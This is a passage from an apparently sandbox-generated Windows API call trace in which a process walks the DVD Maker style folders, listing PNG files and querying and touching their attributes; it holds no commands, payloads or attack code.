dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.690] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0066.690] GetLastError () returned 0x12 [0066.690] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.690] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c1490f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c1490f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars60.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70abdcca, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70abdcca, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="layers.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b300e1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b300e1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ae3e27, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ae3e27, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0066.690] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 0 [0066.690] GetLastError () returned 0x12 [0066.690] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0066.691] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0066.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.691] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0066.691] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0066.691] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0066.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfc1d10 [0066.692] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfc1d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfc1d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0066.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfc1d10) returned 1 [0066.692] NtClose (Handle=0x198) returned 0x0 [0066.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0066.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0066.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0066.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb86a8 [0066.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0066.735] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.735] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0066.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1948 [0066.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc0ff0 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1968 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc10f8 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1988 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc1200 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.736] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc19a8 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc1308 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc19c8 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc1d28 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc19e8 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc1e30 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.737] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.737] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1a08 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc1f38 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1a28 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2040 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1a48 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2148 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.738] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.738] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfc1a68 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc2250 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8730) returned 1 [0066.739] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0066.739] 